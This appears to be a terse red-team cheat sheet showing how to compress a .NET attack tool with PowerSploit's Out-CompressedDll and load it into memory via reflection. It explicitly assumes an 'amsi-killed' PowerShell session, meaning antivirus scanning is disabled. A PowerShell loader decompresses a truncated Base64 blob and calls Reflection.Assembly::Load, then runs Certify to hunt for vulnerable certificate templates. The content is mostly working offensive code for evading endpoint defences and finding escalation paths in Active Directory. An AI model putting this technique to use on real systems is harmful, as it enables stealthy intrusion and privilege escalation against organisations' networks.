Easy reflection with Base64

PowerSploit/ScriptModification/Out-CompressedDll.ps1 at master · PowerShellMafia/PowerSploitGitHub

Base64 encode

Out-CompressedDll -FilePath SharpHound.exe | Out-File "C:\temp\output.txt"

Paste output into your amsi-killed powershell instance

$EncodedCompressedFile = @'
1HwFWFTd1vCQQ8PQICHdghLkzIAzi+773fvd+z/fPwzlnn7XXXnvtvWKvHYdT525BsCAQCDZwbW1BICUQ1E8e8ve/a8BFwvyKBPIcv5mlBEOzmUXPzt758GUE/ALC8uJha8tLl+BXD1vZHka4XDpsf+nwCS3dw.......HM5LKpWx3lVKHjlZcvt15ufcmY66nd1Uw5aIrIFm51HOSzLxbWtlK7ycKN3fRaPlfIbRRvGCfixWRh92Yp1BHcTWbTG6lCcfHB45nCgsHTwmLrqWwxXSyfqZP+dQSzxoe61TFVju7tZdJreAM3k3t7HV12CcX8QaEYy27knrA+YfvI5peF1NpB3hzTeW8+yaf2D0w9U+uz+XQpbXyPVOEJS+3pOC3lwXLMgrB2oBpPpkqpTDCj7a2OZCGWLeV2UvmO4EE6igNyq2MjmSmknJOikK4atTmpeteZur/UddoI5v1LXSeN+rL1zT3+1My/5inY8w0e8/8f/2se/wM=
'@
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](85504)
$DeflatedStream.Read($UncompressedFileBytes, 0, 85504) | Out-Null
[Reflection.Assembly]::Load($UncompressedFileBytes)

Its now reflected, go nuts

[Certify.Program]::Main("find /vulnerable".Split(" "))